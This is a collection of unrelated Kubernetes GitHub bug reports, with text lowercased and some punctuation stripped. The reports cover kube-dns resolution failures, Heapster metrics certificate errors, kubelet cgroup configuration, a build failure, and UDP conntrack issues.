kubernetes version  : v1.6.0\r \r   environment  :\r -   os  : centos 7\r -   install tools  : ansible\r -   kubedns images and args  :\r    \r kubedns-amd64:1.9\r         args:\r         - --domain=cluster.local.\r         - --dns-port=10053\r         - --config-map=kube-dns\r         - --v=2\r kube-dnsmasq-amd64:1.4\r         - --cache-size=1000\r         - --no-resolv\r         - --server=127.0.0.1 10053\r         - --log-facility=-\r dnsmasq-metrics-amd64:1.0\r         args:\r         - --v=2\r         - --logtostderr\r exechealthz-amd64:1.2\r         - --cmd=nslookup kubernetes.default.svc.cluster.local. 127.0.0.1 >/dev/null\r         - --url=/healthz-dnsmasq\r         - --cmd=nslookup kubernetes.default.svc.cluster.local. 127.0.0.1:10053 >/dev/null\r         - --url=/healthz-kubedns\r         - --port=8080\r         - --quiet\r    \r \r   what happened  :\r \r when i clean my node's  /etc/resolve.conf  file  make it empty ,\r kubedns could resolve resolve  kubernetes  and  kubernetes.default.svc.cluster.local , \r but   can not resolve    kubernetes.default ,  kubernetes.default.svc , because the library of skydns in kubedns will make a request forward to  8.8.8.8  and results a timeout problem.\r \r the results as below:\r 1. both kubernetes and kubernetes fqdn could be resolved\r    \r kubectl exec busybox-4217148749-tmwg1 nslookup kubernetes\r server:    192.168.3.10\r address 1: 192.168.3.10 kube-dns.kube-system.svc.cluster.local\r \r name:      kubernetes\r address 1: 192.168.3.1 kubernetes.default.svc.cluster.local\r \r kubectl exec busybox-4217148749-tmwg1 nslookup kubernetes.default.svc.cluster.local\r server:    192.168.3.10\r address 1: 192.168.3.10 kube-dns.kube-system.svc.cluster.local\r \r name:      kubernetes.default.svc.cluster.local\r address 1: 192.168.3.1 kubernetes.default.svc.cluster.local\r    \r \r 2. kubernetes.default and others could not be resolved\r    \r kubectl exec busybox-4217148749-tmwg1 nslookup kubernetes.default\r server:    192.168.3.10\r address 1: 192.168.3.10 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'kubernetes.default'\r \r kubectl exec busybox-4217148749-tmwg1 nslookup kubernetes.default.svc\r server:    192.168.3.10\r address 1: 192.168.3.10 kube-dns.kube-system.svc.cluster.local\r \r nslookup: can't resolve 'kubernetes.default.svc'\r    \r   kubedns log  \r when search  kubernetes.default  , kubedns will request forward to the  8.8.8.8  and cause timeout problem.\r    \r  logs.go:41  skydns: failure to forward request \ read udp 172.16.22.10:53178->8.8.8.8:53: i/o timeout\ \r  logs.go:41  skydns: failure to forward request \ read udp 172.16.22.10:53203->8.8.8.8:53: i/o timeout\ \r    \r \r   what you expected to happen  :\r because my k8s cluster are for internal used, could not access to any outside dns servers, i left  /etc/resolv.conf  empty on the node which kubedns will run on, so kubedns pod would get \r    \r kubectl exec kube-dns-3909973750-tp810 -n kube-system -c kubedns cat /etc/resolv.conf\r \r nameserver 8.8.8.8\r nameserver 8.8.4.4\r options ndots:5\r    \r but actually i don't want this.\r i tried arg  --resolv-conf=''  for kubelet as https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/ inheriting-dns-from-the-node suggests, it will use  127.0.0.1  as its nameserver and logs are:\r    \r  logs.go:41  skydns: failure to forward request \ read udp 127.0.0.1:44572->127.0.0.1:53: i/o timeout\ \r  logs.go:41  skydns: failure to forward request \ read udp 127.0.0.1:40238->127.0.0.1:53: i/o timeout\ \r \r    \r \r   how to reproduce it    as minimally and precisely as possible :\r 1. setup a k8s cluster which can not access 8.8.8.8.\r 2. make  /etc/resolv.conf  empty in every nodes and then deploy kubedns.\r 3.  nslookup kubernetes.default  in a busybox pod.\r \r   anything else we need to know  :\r \r 1. config node's  /etc/resolv.conf  to quest kubedns service, it works on node after a while:\r    \r nslookup kubernetes.default \r ;; connection timed out; trying next origin\r server:         172.16.22.10\r address:        172.16.22.10 53\r \r non-authoritative answer:\r name:   kubernetes.default.svc.cluster.local\r address: 192.168.3.10\r    \r it's strange, different from nslookup in a busybox pod.\r \r 2. add a accessable dns server on the node, this problem could be solved, but not i want.

what keywords did you search in kubernetes issues before filing this one?   \r resource metrics autoscaling v2alpha1\r \r   kubernetes version    use  kubectl version  :\r v1.7.0-alpha.4.374+cbd6b25c1c673f\r \r   what happened  :\r failed get resource metrics, and show warning event in hpa describe:\r    \r   kc get hpa\r name                          reference                                targets             minpods   maxpods   replicas   age\r hpa-resource-metrics-memory   replicationcontroller/hello-hpa-memory   <unknown> / 500mi   1         10        2          4m\r    \r \r    \r   kc describe hpa\r warning\t\tfailedgetresourcemetricunable to get metrics for resource memory: unable to fetch metrics from api: an error on the server  \ error: 'x509: certificate signed by unknown authority'\ trying to reach: 'https://10.0.0.97/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dhello-hpa-memory'\   has prevented the request from succeeding  get pods.metrics \r warning\t\tfailedcomputemetricsreplicas\tfailed to get memory utilization: unable to get metrics for resource memory: unable to fetch metrics from api: an error on the server  \ error: 'x509: certificate signed by unknown authority'\ trying to reach: 'https://10.0.0.97/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dhello-hpa-memory'\   has prevented the request from succeeding  get pods.metrics \r    \r \r   what you expected to happen  :\r hpa v2 can get resource metrics successfully.\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. enable kube dns, start controller_manager with --horizontal-pod-autoscaler-use-rest-clients=\ true\  and start apiserver with --runtime-config=\ api/all=true\ \r \r 2. clone heapster repo from k8s.io/heapster, build binary and container image.\r \r 3. enter directory k8s.io/heapster/deploy/kube-config/standalone-with-apiserver, and did some changes:\r https://github.com/kubernetes/heapster/tree/master/deploy/kube-config/standalone-with-apiserver\r    \r   diff heapster-service.yaml heapster-service.yaml.orig\r 8a9\r >   type: loadbalancer\r \r   diff startup.sh startup.sh.orig\r 46,49c46,47\r < $host_kubectl create -f \ ${manifests_root}/heapster-service.yaml\ \r <  heapster_api_host=\ $ $host_kubectl get -o=jsonpath svc/${heapster_deployment_name} --template '{.status.loadbalancer.ingress   .ip}' \ \r < heapster_api_host=$ kubectl get svc/heapster-apiserver -n kube-system -o template --template={{.spec.clusterip}} \r < echo ${heapster_api_host}\r ---\r >  $host_kubectl create -f \ ${manifests_root}/heapster-service.yaml\ \r > heapster_api_host=\ $ $host_kubectl get -o=jsonpath svc/${heapster_deployment_name} --template '{.status.loadbalancer.ingress   .ip}' \ \r 68,69c66\r <  kubeconfig=\ ${kube_temp}/heapster/kubeconfig\ \r < kubeconfig=/var/run/kubernetes/admin.kubeconfig\r ---\r > kubeconfig=\ ${kube_temp}/heapster/kubeconfig\ \r \r   diff common.sh common.sh.orig\r 36,37c36,37\r <    local sans=\ ip:${1},dns:${master_name}\ \r <   local sans=\ ip:${1},dns:heapster-apiserver.kube-system.svc\ \r ---\r >   local sans=\ ip:${1},dns:${master_name}\ \r    \r \r 4. run k8s.io/heapster/deploy/kube-config/standalone-with-apiserver/startup.sh to generate certificates, kubeconfig file and deploy heapster\r    \r   ./startup.sh\r service \ heapster-apiserver\  created\r 10.0.0.97\r generating certs for alternate-names: ip:10.0.0.97,dns:heapster-apiserver.kube-system.svc\r generated certs\r generated basic auth\r cluster \ heapster-apiserver\  set.\r user \ heapster-apiserver\  set.\r context \ heapster-apiserver\  set.\r switched to context \ heapster-apiserver\ .\r user \ heapster-apiserver-basic-auth\  set.\r wrote config for heapster-apiserver to /root/go/src/k8s.io/heapster/deploy/kube-config/standalone-with-apiserver/tmp/heapster/kubeconfig\r secret \ heapster-apiserver-kubeconfig\  created\r secret \ heapster-apiserver-secrets\  created\r deployment \ heapster-apiserver\  created\r    \r \r 5. registry heapster api:\r    \r   cat registry_heapster_api.sh\r export kubeconfig_pointing_to_heapster=/root/go/src/k8s.io/heapster/deploy/kube-config/standalone-with-apiserver/tmp/heapster/kubeconfig\r export kubeconfig_pointing_to_aggregator=/var/run/kubernetes/admin.kubeconfig\r export heapster_svc_name=heapster-apiserver\r export heapster_namespace=kube-system\r cd $gopath/src/k8s.io/kubernetes/staging/src/k8s.io/kube-aggregator/hack\r ./register-all-apis-from.sh ${kubeconfig_pointing_to_heapster} ${heapster_namespace} ${heapster_svc_name} ${kubeconfig_pointing_to_aggregator}\r \r   . ./registry_heapster_api.sh\r registering v1alpha1.metrics using /tmp/0.2tgxppvhjv9e/v1alpha1.metrics.yaml\r apiservice \ v1alpha1.metrics\  created\r    \r \r 6. check v1alpha1.metrics apiservice and and heapster status:\r    \r  root@ip-172-18-4-109 hack   kc get apiservice | grep -e \ autoscal|metric\ \r v1.autoscaling                       apiservice.v1beta1.apiregistration.k8s.io\r v1alpha1.metrics                     apiservice.v1beta1.apiregistration.k8s.io\r v2alpha1.autoscaling                 apiservice.v1beta1.apiregistration.k8s.io\r \r  root@ip-172-18-4-109 hack   kc get pod --namespace kube-system\r name                                  ready     status    restarts   age\r heapster-apiserver-3526152666-zztbh   1/1       running   0          1m\r kube-dns-3602522342-n0h75             3/3       running   0          10m\r  root@ip-172-18-4-109 hack   kc get svc --namespace kube-system\r name                 cluster-ip   external-ip   port s           age\r heapster-apiserver   10.0.0.97    <none>        80/tcp,443/tcp   1m\r kube-dns             10.0.0.10    <none>        53/udp,53/tcp    10m\r    \r \r 7. create rc and hpa:\r    \r   cat hello-hpa-memory-rc.yaml\r apiversion: v1\r kind: replicationcontroller\r metadata:\r   labels:\r     run: hello-hpa-memory\r   name: hello-hpa-memory\r spec:\r   replicas: 2\r   selector:\r     run: hello-hpa-memory\r   template:\r     metadata:\r       labels:\r         run: hello-hpa-memory\r     spec:\r       containers:\r       - image: docker.io/deshuai/hello-hpa:latest\r         imagepullpolicy: ifnotpresent\r         name: hello-hpa\r         resources:\r           requests:\r             memory: 200mi\r       restartpolicy: always\r    \r \r    \r   cat hpa-resource-metrics-memory.yaml\r apiversion: autoscaling/v2alpha1\r kind: horizontalpodautoscaler\r metadata:\r   name: hpa-resource-metrics-memory\r spec:\r   scaletargetref:\r     apiversion: apps/v1beta1\r     kind: replicationcontroller\r     name: hello-hpa-memory\r   minreplicas: 1\r   maxreplicas: 10\r   metrics:\r   - type: resource\r     resource:\r       name: memory\r       targetaveragevalue: 500mi\r    \r \r 8. check hpa status and kube-controller-manager log\r    \r   kc get hpa\r name                          reference                                targets             minpods   maxpods   replicas   age\r hpa-resource-metrics-memory   replicationcontroller/hello-hpa-memory   <unknown> / 500mi   1         10        2          28m\r    \r \r    \r   kc describe hpa hpa-resource-metrics-memory\r name:\t\t\t\thpa-resource-metrics-memory\r namespace:\t\t\tdefault\r labels:\t\t\t\t<none>\r annotations:\t\t\t<none>\r creationtimestamp:\t\tthu, 25 may 2017 22:53:46 -0400\r reference:\t\t\treplicationcontroller/hello-hpa-memory\r metrics:\t\t\t  current / target  \r   resource memory on pods:\t<unknown> / 500mi\r min replicas:\t\t\t1\r max replicas:\t\t\t10\r replicationcontroller pods:\t2 current / 2 desired\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t\t-------------\t--------\t------\t\t\t-------\r   28m\t\t17s\t\t57\thorizontal-pod-autoscaler\t\t\twarning\t\tfailedgetresourcemetricunable to get metrics for resource memory: unable to fetch metrics from api: an error on the server  \ error: 'x509: certificate signed by unknown authority'\ trying to reach: 'https://10.0.0.97/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dhello-hpa-memory'\   has prevented the request from succeeding  get pods.metrics \r   28m\t\t17s\t\t57\thorizontal-pod-autoscaler\t\t\twarning\t\tfailedcomputemetricsreplicas\tfailed to get memory utilization: unable to get metrics for resource memory: unable to fetch metrics from api: an error on the server  \ error: 'x509: certificate signed by unknown authority'\ trying to reach: 'https://10.0.0.97/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dhello-hpa-memory'\   has prevented the request from succeeding  get pods.metrics \r    \r \r    \r   kc logs heapster-apiserver-3526152666-zztbh --namespace kube-system\r i0526 02:50:47.641463       1 heapster.go:71  /heapster --source=kubernetes.summary_api:'' --api-server --service-cluster-ip-range=10.10.0.0/24 --secure-port=6443 --basic-auth-file=/srv/kubernetes/basic-auth.csv --token-auth-file=/srv/kubernetes/known-tokens.csv --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key\r i0526 02:50:47.641830       1 heapster.go:72  heapster version v1.3.0-beta.1\r i0526 02:50:47.642103       1 configs.go:61  using kubernetes client with master \ https://10.0.0.1:443\  and version v1\r i0526 02:50:47.642122       1 configs.go:62  using kubelet port 10255\r i0526 02:50:47.642664       1 heapster.go:193  starting with metric sink\r i0526 02:50:47.644465       1 config.go:404  will report 172.17.0.3 as public ip address.\r i0526 02:50:47.648340       1 heapster.go:131  starting heapster api server on port 8080\r  restful  2017/05/26 02:50:47 log.go:30:  restful/swagger  listing is available at https://172.17.0.3:6443/swaggerapi/\r  restful  2017/05/26 02:50:47 log.go:30:  restful/swagger  https://172.17.0.3:6443/swaggerui/ is mapped to folder /swagger-ui/\r i0526 02:50:47.650888       1 genericapiserver.go:263  serving securely on 0.0.0.0:6443\r i0526 02:50:47.650899       1 genericapiserver.go:307  serving insecurely on 127.0.0.1:8080\r i0526 02:50:47.658634       1 heapster.go:105  starting heapster on port 8082\r i0526 02:52:00.693714       1 logs.go:41  http: tls handshake error from 172.18.4.109:39142: remote error: tls: bad certificate\r i0526 02:52:00.707393       1 logs.go:41  http: tls handshake error from 172.18.4.109:39144: remote error: tls: bad certificate\r i0526 02:52:00.713089       1 logs.go:41  http: tls handshake error from 172.18.4.109:39146: remote error: tls: bad certificate\r    \r \r error in /tmp/kube-controller-manager.log\r    \r ...\r e0525 23:27:17.324509    5029 horizontal.go:205  failed to compute desired number of replicas based on listed metrics for replicationcontroller/default/hello-hpa-memory: failed to get memory utilization: unable to get metrics for resource memory: unable to fetch metrics from api: an error on the server  \ error: 'x509: certificate signed by unknown authority'\ trying to reach: 'https://10.0.0.97/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=run%3dhello-hpa-memory'\   has prevented the request from succeeding  get pods.metrics \r ...\r    \r \r    \r   kc get pod heapster-apiserver-3526152666-zztbh --namespace kube-system -o yaml\r apiversion: v1\r kind: pod\r metadata:\r   annotations:\r     kubernetes.io/created-by: |\r       {\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ kube-system\ ,\ name\ :\ heapster-apiserver-3526152666\ ,\ uid\ :\ 1db4a0d5-41be-11e7-8d20-0ef2c87c59d8\ ,\ apiversion\ :\ extensions\ ,\ resourceversion\ :\ 790\ }}\r   creationtimestamp: 2017-05-26t02:50:45z\r   generatename: heapster-apiserver-3526152666-\r   labels:\r     k8s-app: heapster\r     module: apiserver\r     pod-template-hash: \ 3526152666\ \r     version: v6\r   name: heapster-apiserver-3526152666-zztbh\r   namespace: kube-system\r   ownerreferences:\r   - apiversion: extensions/v1beta1\r     blockownerdeletion: true\r     controller: true\r     kind: replicaset\r     name: heapster-apiserver-3526152666\r     uid: 1db4a0d5-41be-11e7-8d20-0ef2c87c59d8\r   resourceversion: \ 810\ \r   selflink: /api/v1/namespaces/kube-system/pods/heapster-apiserver-3526152666-zztbh\r   uid: 1db5662c-41be-11e7-8d20-0ef2c87c59d8\r spec:\r   containers:\r   - command:\r     - /heapster\r     - --source=kubernetes.summary_api:''\r     - --api-server\r     - --service-cluster-ip-range=10.10.0.0/24\r     - --secure-port=6443\r     - --basic-auth-file=/srv/kubernetes/basic-auth.csv\r     - --token-auth-file=/srv/kubernetes/known-tokens.csv\r     - --client-ca-file=/srv/kubernetes/ca.crt\r     - --tls-cert-file=/srv/kubernetes/server.cert\r     - --tls-private-key-file=/srv/kubernetes/server.key\r     image: gcr.io/google_containers/heapster-amd64:v1.3.0-beta.1\r     imagepullpolicy: ifnotpresent\r     name: heapster\r     ports:\r     - containerport: 6443\r       name: https\r       protocol: tcp\r     - containerport: 8080\r       name: http\r       protocol: tcp\r     resources: {}\r     terminationmessagepath: /dev/termination-log\r     terminationmessagepolicy: file\r     volumemounts:\r     - mountpath: /srv/kubernetes/\r       name: heapster-apiserver-secrets\r       readonly: true\r     - mountpath: /etc/ssl/certs\r       name: ssl-certs\r       readonly: true\r     - mountpath: /var/run/secrets/kubernetes.io/serviceaccount\r       name: default-token-wg8dl\r       readonly: true\r   dnspolicy: clusterfirst\r   nodename: 172.18.4.109\r   restartpolicy: always\r   schedulername: default-scheduler\r   securitycontext: {}\r   serviceaccount: default\r   serviceaccountname: default\r   terminationgraceperiodseconds: 30\r   tolerations:\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/notready\r     operator: exists\r     tolerationseconds: 300\r   - effect: noexecute\r     key: node.alpha.kubernetes.io/unreachable\r     operator: exists\r     tolerationseconds: 300\r   volumes:\r   - name: heapster-apiserver-secrets\r     secret:\r       defaultmode: 420\r       secretname: heapster-apiserver-secrets\r   - hostpath:\r       path: /etc/ssl/certs\r     name: ssl-certs\r   - name: default-token-wg8dl\r     secret:\r       defaultmode: 420\r       secretname: default-token-wg8dl\r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: 2017-05-26t02:50:45z\r     status: \ true\ \r     type: initialized\r   - lastprobetime: null\r     lasttransitiontime: 2017-05-26t02:50:48z\r     status: \ true\ \r     type: ready\r   - lastprobetime: null\r     lasttransitiontime: 2017-05-26t02:50:45z\r     status: \ true\ \r     type: podscheduled\r   containerstatuses:\r   - containerid: docker://8b31ebe18a79232523578379861a1b31525bb371eac066562f40f3acc0a5c940\r     image: gcr.io/google_containers/heapster-amd64:v1.3.0-beta.1\r     imageid: docker-pullable://gcr.io/google_containers/heapster-amd64@sha256:9562208daab690a74425eee4d7c745d98a8dcb95b48c3d91bd8945750020b7f1\r     laststate: {}\r     name: heapster\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-05-26t02:50:47z\r   hostip: 172.18.4.109\r   phase: running\r   podip: 172.17.0.3\r   qosclass: besteffort\r   starttime: 2017-05-26t02:50:45z\r    \r \r   anything else we need to know  :\r attached kube-controller-manager.log

what happened  :\r whenever i updated configmap, it triggers config-reloader to reload new configmap as expected. but then, after a while, it reset configmap to default configuration\r \r   what you expected to happen  :\r remain new configmap and don't reset configmap\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r >client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , @gnufied gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.6-rancher1\ , gitcommit:\ 973d2fa162b887a6f696f4574b85e949d480a071\ , gittreestate:\ clean\ , builddate:\ 2017-06-17t03:54:44z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r @kubernetes/sig-contributor-experience-bugs 

is this a bug report or feature request?  :\r  \r   what happened  :\r \r i followed the instructions here:\r https://github.com/kubernetes/kubernetes/blob/master/readme.md\r \r > you have a working docker environment.\r > $ git clone https://github.com/kubernetes/kubernetes\r > $ cd kubernetes\r > $ make quick-release\r \r first, i installed docker, started  dockerd  and that worked.\r \r cloned the kubernetes github tree in  ~/kubernetes .\r \r by running  make quick-release  i'm getting:\r  makefile:1:     missing separator \r and nothing else.\r \r so instead i did this:\r  make -f ./build/root/makefile quick-release \r \r this succeeds until the following is shown:\r     \r +++  0818 15:05:29  verifying prerequisites....\r +++  0818 15:05:29  building docker image kube-build:build-a0984f1cd6-5-v1.8.3-2\r +++  0818 15:05:31  syncing sources to container\r +++  0818 15:05:32  running build command...\r makefile:1:     missing separator  did you mean tab instead of 8 spaces? .  stop.\r !!!  0818 15:05:32  call tree:\r !!!  0818 15:05:32   1: build/../build/common.sh:520 kube::build::run_build_command_ex ... \r !!!  0818 15:05:32   2: build/release.sh:36 kube::build::run_build_command ... \r build/root/makefile:404: recipe for target 'quick-release' failed\r make:      quick-release  error 1\r \r     \r \r  the run_build_command_ex    function receives the following args:\r \r    \r kube-build-a0984f1cd6-5-v1.8.3-2 -- make cross\r    \r \r   what you expected to happen  :\r \r not getting gnu make errors when building kubernetes!\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r explanation above in the  what happened  section.\r \r   anything else we need to know?  :\r \r this is on a clean vm with no special modifications.\r it only has docker, git and a few other unrelated tools installed.\r only kubernetes has failed to build thus far.\r \r   environment  :\r \r - kubernetes version  use  kubectl version  :\r cloned the master branch  as instructed  -> at  9aa04c755 \r     \r $ git status\r on branch master\r your branch is up-to-date with 'origin/master'.\r nothing to commit, working directory clean\r     \r \r     \r $ git log -1\r commit 9aa04c755fc8091ce5a59d0087fe6a4bc0119195\r merge: b67b0ad 05d3e9c\r author: kubernetes submit queue <k8s-merge-robot@users.noreply.github.com>\r date:   thu aug 17 04:45:56 2017 -0700\r      \r \r - cloud provider or hardware configuration  :\r ?\r i'm running a ubuntu virtualbox vm on a windows 7 64bit host on a decent machine\r \r - os  e.g. from /etc/os-release :\r  ubuntu 16.04.1 lts  xenial xerus  \r \r - kernel  e.g.  uname -a  :\r  linux lubo-virtualbox 4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r \r - install tools:\r  apt 1.2.15  amd64   ?\r \r - others:\r \r  gnu make 4.1 \r  gcc version 5.4.0 20160609  ubuntu 5.4.0-6ubuntu1~16.04.4   \r \r --\r lubomirivanov @ vmware\r

\r   is this a bug report or feature request?  :\r \r   \r \r \r   what happened  :\r i started docker and kubelet with following parameters, but got errors that don't find proper cgroup slices.\r \r   what you expected to happen  :\r the kubelet can set the predefined cgrop as parameter to  cgroup-root     --kube-reserved-cgroup   --system-reserved-cgroup=/system.slice  \r \r   how to reproduce it  as minimally and precisely as possible   :\r i configured the cluster with docker and  kubelet service as following configuraion, first create slice  kubesvc.slice   and kubelet and docker service will run inside this slice; and  then create  container.slice  to host all pods and containers. and set the cgroups resvervation for kube and system processes. \r \r    \r   cat kubesvc.slice\r escription=limited resources slice for kubelet and  rkt service\r defaultdependencies=no\r before=slices.target\r requires=-.slice\r after=-.slice\r  slice \r memorylimit=4g\r   cat docker.service\r  unit \r description=docker application container engine\r documentation=https://docs.docker.com\r after=network.target\r \r  service \r slice=kubesvc.slice\r type=notify\r   the default is not to use systemd for cgroups because the delegate issues still\r   exists and systemd currently does not support the cgroup feature set required\r   for containers run by docker\r execstart=/usr/bin/dockerd\r execreload=/bin/kill -s hup $mainpid\r   having non-zero limit s causes performance problems due to accounting overhead\r   in the kernel. we recommend using cgroups to do container-local accounting.\r limitnofile=infinity\r limitnproc=infinity\r limitcore=infinity\r   uncomment tasksmax if your systemd version supports it.\r   only systemd 226 and above support this version.\r tasksmax=infinity\r timeoutstartsec=0\r   set delegate yes so that systemd does not reset the cgroups of docker containers\r delegate=yes\r   kill only the docker process, not all processes in the cgroup\r killmode=process\r \r  install \r wantedby=multi-user.target\r \r    cat /etc/docker/daemon.json\r {\r     \ debug\ : true,\r     \ exec-opts\ :  \ native.cgroupdriver=systemd\  ,\r     \ cgroup-parent\ : \ container.slice\ ,\r     \ hosts\ :  \ tcp://0.0.0.0:2376\ ,\ unix:///var/run/docker.sock\  ,\r     \ ip\ : \ 0.0.0.0\ ,\r     \ log-driver\ : \ journald\ ,\r     \ log-opts\ :  {\ tag\ :\ docker_{{.name}}_{{.id}}\ },\r     \ tlsverify\  : true,\r     \ tlscacert\ : \ /etc/docker/ssl/ca.pem\ ,\r     \ tlscert\ : \ /etc/docker/ssl/docker.pem\ ,\r     \ tlskey\ : \ /etc/docker/ssl/docker-key.pem\ \r \r }\r \r \r   cat kubelet.service\r  unit \r description=kubelet service\r require=container.slice\r require=docker.service\r \r  service \r slice=kubesvc.slice\r execstart=/usr/bin/kubelet --kubeconfig=/var/lib/kubeconfig/kubelet.kubeconfig --require-kubeconfig=true --enable-debugging-handlers=true --pod-manifest-path=/var/lib/manifests --allow-privileged=true  --cluster-d\r ns=192.168.0.10 --cluster-domain=cluster.local   --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin --register-node=true   --cgroup-driver=systemd    --cgroup-root=/container.slice --kube-reserved=cpu=200m,memory=512m\r i --kube-reserved-cgroup=/kubesvc.slice --system-reserved=cpu=200m,memory=512mi --system-reserved-cgroup=/system.slice  --eviction-hard=memory.available<1gi,nodefs.available<10% --enforce-node-allocatable=pods,s\r ystem-reserved,kube-reserved\r restart=always\r restartsec=2s\r startlimitinterval=0\r killmode=process\r delegate=yes\r \r  install \r wantedby=multi-user.target\r \r \r    \r and the status of the slices \r    \r ~  systemctl status kubesvc.slice\r ● kubesvc.slice\r    loaded: loaded  /lib/systemd/system/kubesvc.slice; static; vendor preset: enabled \r    active: active since mon 2017-08-28 11:28:48 cst; 12min ago\r     tasks: 40\r    memory: 159.0m  limit: 4.0g \r       cpu: 12.399s\r    cgroup: /kubesvc.slice\r            ├─docker.service\r            │ ├─1298 /usr/bin/dockerd\r            │ └─1327 docker-containerd -l unix:///var/run/docker/libcontainerd/docker-containerd.sock --shim docker-containerd-shim --metrics-interval=0 --start-timeout 2m --state-dir /var/run/docker/libcontainer\r            └─kubelet.service\r              ├─1094 /usr/bin/kubelet --kubeconfig=/data/k8s/k8sconf/kubelet.kubeconfig --require-kubeconfig=true --enable-debugging-handlers=true --pod-manifest-path=/var/lib/manifests --allow-privileged=true --\r              └─1563 journalctl -k -f\r \r    \r when place kubelet in the slice  kubesvc.slice ,  and set  --kube-reserved-cgroup    to  kubesvc.slice , it is working , but  --system-reserved-cgroup  is not working at the same time. but actually  system.slice   is a build-in slice when system starts. \r \r and   --cgroup-root=/container.slice  also is not working but  container.slice  is existing.\r    \r   systemctl status container.slice\r ● container.slice - limited resources slice\r    loaded: loaded  /lib/systemd/system/container.slice; static; vendor preset: enabled \r    active: active since mon 2017-08-28 11:51:15 cst; 19s ago\r     tasks: 0\r    memory: 0b  limit: 4.0g \r       cpu: 0\r \r aug 28 11:51:15 k8scluster-master systemd 1 : created slice limited resources slice.\r    \r \r \r \r and the error message is \r    \r aug 28 11:28:22 k8scluster-master kubelet 1719 : i0828 11:28:22.879772    1719 kubelet.go:1752  skipping pod synchronization -  failed to start containermanager failed to enforce system reserved cgroup limits on \ /system.slice\ : \ /system.slice\  cgroup does not exist \r aug 28 11:49:33 k8scluster-master kubelet 2203 : error: failed to run kubelet: invalid configuration: cgroup-root \ /container.slice\  doesn't exist: <nil>\r    \r \r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v.1.7.3\r - cloud provider or hardware configuration  : bare-metal\r - os  e.g. from /etc/os-release :   ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  : linux k8scluster-master 4.10.0-32-lowlatency  36~16.04.1-ubuntu smp preempt wed aug 9 10:10:34 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:  manual \r - others:\r \r \r \r /area kubelet\r 

\r   \r sample from clicking around:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51448/pull-kubernetes-unit/50367/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51539/pull-kubernetes-unit/50354/\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/51479/pull-kubernetes-unit/50345/\r

this issue is auto-updated by the k8s-publishing-bot when the  nightly  publishing process fails. only the last log output is available.\r \r bot:  !   https://img.shields.io/uptimerobot/status/m779759348-04b1f4fd3bb5ce4a810670d2.svg   https://stats.uptimerobot.com/wm4dyt8ky  — last publishing run:  !   https://img.shields.io/uptimerobot/status/m779759340-0a6b2cb6fee352e75f58ba16.svg   https://stats.uptimerobot.com/wm4dyt8ky \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r when deleting/recreating pods backing a udp service, traffic from external senders stops flowing.\r \r   what you expected to happen  :\r traffic would continue to flow to new pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r based on reading of similar issues and commit messages it seems like this would be most noticable on high-volume udp applications, statsd and syslog are good examples.\r \r 1. create a deployment and service for a udp app. in my test case, this would be the  atlassianlabs/gostatsd:5.2.0  container.\r 2. on an external node, create a small test script utilizing a statsd library such as pystatsd. the most important part is that the sender uses the same source-port for every packet sent. ex:\r    \r import time\r import pystatsd\r \r stats = pystatsd.client '104.197.127.53', 8125 \r while true:\r     stats.increment 'joe-testing-delete-me-timing.testing' \r     time.sleep 0.2 \r    \r 3. run the sender. install tcpdump into the pod and watch for incoming packets, example from the test case:  tcpdump -a -s0 port 8125 | grep joe-testing \r 4. delete the pod\r 5. run tcpdump in the newly created pod. observe that no new matching packets are flowing.\r 6. clear existing conntrack rules on all nodes in the cluster. you should see traffic start flowing to the pod again. example command for clearing conntrack rules on the nodes:  docker run --net=host --privileged --rm claesjonsson/conntrack -d -p udp --orig-port-dst 8125 \r \r \r   anything else we need to know?  :\r i have tested this only on gke-managed clusters that utilize google forwarding-rules for external lbs, but i believe the issue may be present on any platform where iptables mode for kube-proxy is used. tested and verified on 1.8.6-gke.0 and 1.7.11-gke.1. also tested with both google container-optimized os and the ubuntu-based node images.\r \r i have only test this on gke \r \r it appears this was a known issue and should have been cleared up by: https://github.com/kubernetes/kubernetes/pull/22573/files \r 